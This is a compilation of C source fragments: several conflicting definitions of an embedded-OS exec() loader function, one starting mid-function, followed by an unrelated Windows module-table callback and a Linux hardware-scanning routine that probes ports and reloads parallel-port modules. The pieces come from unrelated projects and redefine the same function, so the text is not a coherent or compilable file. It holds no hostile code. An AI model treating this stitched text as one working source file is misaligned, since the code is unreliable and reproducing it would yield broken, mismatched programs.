/* Then start the module */
ret = exec_module(&bin);
if (ret < 0)
{
err = get_errno();
bdbg("ERROR: Failed to execute program '%s': %d\n", filename, err);
goto errout_with_module;
}
/* TODO: How does the module get unloaded in this case? */
return ret;
errout_with_module:
unload_module(&bin);
errout:
set_errno(err);
return ERROR;
#endif
}
int exec(FAR const char *filename, FAR char * const *argv,
FAR const struct symtab_s *exports, int nexports)
{
FAR struct binary_s *bin;
int pid;
int errcode;
int ret;
/* Allocate the load information */
bin = (FAR struct binary_s *)kmm_zalloc(sizeof(struct binary_s));
if (!bin)
{
berr("ERROR: Failed to allocate binary_s\n");
errcode = ENOMEM;
goto errout;
}
/* Initialize the binary structure */
bin->filename = filename;
bin->exports = exports;
bin->nexports = nexports;
/* Copy the argv[] list */
ret = binfmt_copyargv(bin, argv);
if (ret < 0)
{
errcode = -ret;
berr("ERROR: Failed to copy argv[]: %d\n", errcode);
goto errout_with_bin;
}
/* Load the module into memory */
ret = load_module(bin);
if (ret < 0)
{
errcode = -ret;
berr("ERROR: Failed to load program '%s': %d\n", filename, errcode);
goto errout_with_argv;
}
/* Disable pre-emption so that the executed module does
* not return until we get a chance to connect the on_exit
* handler.
*/
sched_lock();
/* Then start the module */
pid = exec_module(bin);
if (pid < 0)
{
errcode = -pid;
berr("ERROR: Failed to execute program '%s': %d\n",
filename, errcode);
goto errout_with_lock;
}
#ifdef CONFIG_BINFMT_LOADABLE
/* Set up to unload the module (and free the binary_s structure)
* when the task exists.
*/
ret = group_exitinfo(pid, bin);
if (ret < 0)
{
berr("ERROR: Failed to schedule unload '%s': %d\n", filename, ret);
}
#else
/* Free the binary_s structure here */
binfmt_freeargv(bin);
kmm_free(bin);
/* TODO: How does the module get unloaded in this case? */
#endif
sched_unlock();
return pid;
errout_with_lock:
sched_unlock();
(void)unload_module(bin);
errout_with_argv:
binfmt_freeargv(bin);
errout_with_bin:
kmm_free(bin);
errout:
set_errno(errcode);
return ERROR;
}
int exec(FAR const char *filename, FAR char * const *argv,
FAR const struct symtab_s *exports, int nexports)
{
#if defined(CONFIG_SCHED_ONEXIT) && defined(CONFIG_SCHED_HAVE_PARENT)
FAR struct binary_s *bin;
int pid;
int ret;
/* Allocate the load information */
bin = (FAR struct binary_s *)kzalloc(sizeof(struct binary_s));
if (!bin)
{
set_errno(ENOMEM);
return ERROR;
}
/* Load the module into memory */
bin->filename = filename;
bin->argv = argv;
bin->exports = exports;
bin->nexports = nexports;
ret = load_module(bin);
if (ret < 0)
{
bdbg("ERROR: Failed to load program '%s'\n", filename);
kfree(bin);
return ERROR;
}
/* Disable pre-emption so that the executed module does
* not return until we get a chance to connect the on_exit
* handler.
*/
sched_lock();
/* Then start the module */
pid = exec_module(bin);
if (pid < 0)
{
bdbg("ERROR: Failed to execute program '%s'\n", filename);
sched_unlock();
unload_module(bin);
kfree(bin);
return ERROR;
}
/* Set up to unload the module (and free the binary_s structure)
* when the task exists.
*/
ret = schedule_unload(pid, bin);
if (ret < 0)
{
bdbg("ERROR: Failed to schedul unload '%s'\n", filename);
}
sched_unlock();
return pid;
#else
struct binary_s bin;
int ret;
/* Load the module into memory */
memset(&bin, 0, sizeof(struct binary_s));
bin.filename = filename;
bin.exports = exports;
bin.nexports = nexports;
ret = load_module(&bin);
if (ret < 0)
{
bdbg("ERROR: Failed to load program '%s'\n", filename);
return ERROR;
}
/* Then start the module */
ret = exec_module(&bin);
if (ret < 0)
{
bdbg("ERROR: Failed to execute program '%s'\n", filename);
unload_module(&bin);
return ERROR;
}
/* TODO: How does the module get unloaded in this case? */
return ret;
#endif
}
static void
modtable_entry_free(void *p)
{
unload_module(GetCurrentProcess(), (DWORD64)p);
}
void hd_scan_misc(hd_data_t *hd_data)
{
hd_t *hd;
hd_res_t *res;
int fd, i;
char *s = NULL;
bios_info_t *bt = NULL;
char par[] = "parport0";
int fd_ser0, fd_ser1;
if(!hd_probe_feature(hd_data, pr_misc)) return;
hd_data->module = mod_misc;
/* some clean-up */
remove_hd_entries(hd_data);
hd_data->misc = free_misc(hd_data->misc);
PROGRESS(9, 0, "kernel log");
read_klog(hd_data);
if((hd_data->debug & HD_DEB_MISC)) dump_klog(hd_data);
PROGRESS(1, 0, "misc data");
hd_data->misc = new_mem(sizeof *hd_data->misc);
/* this is enough to load the module */
fd_ser0 = fd_ser1 = -1;
#if !defined(__sparc__)
/* On sparc, the close needs too long */
if(hd_probe_feature(hd_data, pr_misc_serial)) {
PROGRESS(1, 1, "open serial");
fd_ser0 = open("/dev/ttyS0", O_RDONLY | O_NONBLOCK);
fd_ser1 = open("/dev/ttyS1", O_RDONLY | O_NONBLOCK);
/* keep the devices open until the resources have been read */
}
#endif
/* this is enough to load the module */
if(!hd_data->flags.no_parport && hd_probe_feature(hd_data, pr_misc_par)) {
PROGRESS(1, 2, "open parallel");
/* what can the BIOS tell us? */
for(hd = hd_data->hd; hd; hd = hd->next) {
if(
hd->base_class.id == bc_internal &&
hd->sub_class.id == sc_int_bios &&
hd->detail &&
hd->detail->type == hd_detail_bios &&
hd->detail->bios.data
) break;
}
if(hd) {
bt = hd->detail->bios.data;
if(bt->par_port0) {
str_printf(&s, 0, "io=0x%x", bt->par_port0);
if(bt->par_port1) {
str_printf(&s, -1, ",0x%x", bt->par_port1);
if(bt->par_port2) str_printf(&s, -1, ",0x%x", bt->par_port2);
}
str_printf(&s, -1, " irq=none,none,none");
}
unload_module(hd_data, "parport_probe");
unload_module(hd_data, "lp");
unload_module(hd_data, "parport_pc");
unload_module(hd_data, "parport");
/* now load it with the right io */
load_module(hd_data, "parport");
load_module_with_params(hd_data, "parport_pc", s);
free_mem(s);
}
/* now load the rest of the modules */
fd = open("/dev/lp0", O_RDONLY | O_NONBLOCK);
if(fd >= 0) close(fd);
}
/*
* floppy driver resources are allocated only temporarily,
* so we access it just before we read the resources
*/
if(hd_probe_feature(hd_data, pr_misc_floppy)) {
/* look for a floppy *device* entry... */
for(hd = hd_data->hd; hd; hd = hd->next) {
if(
hd->base_class.id == bc_storage_device &&
hd->sub_class.id == sc_sdev_floppy &&
hd->unix_dev_name &&
!strncmp(hd->unix_dev_name, "/dev/fd", sizeof "/dev/fd" - 1)
) {
PROGRESS(1, 3, "read floppy");
i = 5;
hd->block0 = read_block0(hd_data, hd->unix_dev_name, &i);
hd->is.notready = hd->block0 ? 0 : 1;
if(i < 0) {
hd->tag.remove = 1;
ADD2LOG("misc.floppy: removing floppy entry %u (timed out)\n", hd->idx);
}
if(!hd->is.notready) {
struct hd_geometry geo;
int fd;
unsigned size, blk_size = 0x200;
fd = open(hd->unix_dev_name, O_RDONLY | O_NONBLOCK);
if(fd >= 0) {
if(!ioctl(fd, HDIO_GETGEO, &geo)) {
ADD2LOG("floppy ioctl(geo) ok\n");
res = add_res_entry(&hd->res, new_mem(sizeof *res));
res->disk_geo.type = res_disk_geo;
res->disk_geo.cyls = geo.cylinders;
res->disk_geo.heads = geo.heads;
res->disk_geo.sectors = geo.sectors;
res->disk_geo.geotype = geo_logical;
size = geo.cylinders * geo.heads * geo.sectors;
for(res = hd->res; res; res = res->next) {
if(res->any.type == res_size && res->size.unit == size_unit_sectors) {
res->size.val1 = size; res->size.val2 = blk_size;
break;
}
}
if(!res) {
res = add_res_entry(&hd->res, new_mem(sizeof *res));
res->size.type = res_size;
res->size.unit = size_unit_sectors;
res->size.val1 = size; res->size.val2 = blk_size;
}
}
close(fd);
}
}
break;
}
}
remove_tagged_hd_entries(hd_data);
}
PROGRESS(2, 1, "io");
read_ioports(hd_data->misc);
PROGRESS(2, 2, "dma");
read_dmas(hd_data->misc);
PROGRESS(2, 3, "irq");
read_irqs(hd_data->misc);
if((hd_data->debug & HD_DEB_MISC)) dump_misc_proc_data(hd_data);
if(fd_ser0 >= 0) close(fd_ser0);
if(fd_ser1 >= 0) close(fd_ser1);
/* now create some system generic entries */
/* FPU */
PROGRESS(3, 0, "FPU");
res = NULL;
gather_resources(hd_data->misc, &res, "fpu", 0);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_internal;
hd->sub_class.id = sc_int_fpu;
hd->res = res;
}
/* DMA */
PROGRESS(3, 1, "DMA");
res = NULL;
gather_resources(hd_data->misc, &res, "dma1", 0);
gather_resources(hd_data->misc, &res, "dma2", 0);
gather_resources(hd_data->misc, &res, "dma page reg", 0);
gather_resources(hd_data->misc, &res, "cascade", W_DMA);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_system;
hd->sub_class.id = sc_sys_dma;
hd->res = res;
}
/* PIC */
PROGRESS(3, 2, "PIC");
res = NULL;
gather_resources(hd_data->misc, &res, "pic1", 0);
gather_resources(hd_data->misc, &res, "pic2", 0);
gather_resources(hd_data->misc, &res, "cascade", W_IRQ);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_system;
hd->sub_class.id = sc_sys_pic;
hd->res = res;
}
/* timer */
PROGRESS(3, 3, "timer");
res = NULL;
gather_resources(hd_data->misc, &res, "timer", 0);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_system;
hd->sub_class.id = sc_sys_timer;
hd->res = res;
}
/* real time clock */
PROGRESS(3, 4, "RTC");
res = NULL;
gather_resources(hd_data->misc, &res, "rtc", 0);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_system;
hd->sub_class.id = sc_sys_rtc;
hd->res = res;
}
/* keyboard */
res = NULL;
gather_resources(hd_data->misc, &res, "keyboard", 0);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_input;
hd->sub_class.id = sc_inp_keyb;
hd->res = res;
}
/* parallel ports */
for(i = 0; i < 1; i++, par[sizeof par - 2]++) {
res = NULL;
gather_resources(hd_data->misc, &res, par, 0);
if(res) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_comm;
hd->sub_class.id = sc_com_par;
str_printf(&hd->unix_dev_name, 0, "/dev/lp%d", i);
hd->res = res;
}
}
/* floppy controller */
res = NULL;
gather_resources(hd_data->misc, &res, "floppy", 0);
gather_resources(hd_data->misc, &res, "floppy DIR", 0);
if(res) {
/* look for an existing entry */
for(hd = hd_data->hd; hd; hd = hd->next) {
if(hd->base_class.id == bc_storage && hd->sub_class.id == sc_sto_floppy) break;
}
/* missing, so create one */
if(!hd) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_storage;
hd->sub_class.id = sc_sto_floppy;
}
hd->res = res;
}
/*
* look for PS/2 port
*
* The catch is, that sometimes /dev/psaux is accessible only for root,
* so the open() may fail but there are irq events registered.
*
*/
fd = open(DEV_PSAUX, O_RDONLY | O_NONBLOCK);
if(fd >= 0) close(fd);
res = NULL;
gather_resources(hd_data->misc, &res, "PS/2 Mouse", 0);
if(res || fd >= 0) {
hd = add_hd_entry(hd_data, __LINE__, 0);
hd->base_class.id = bc_ps2;
if(res) {
hd->res = res;
}
}
}
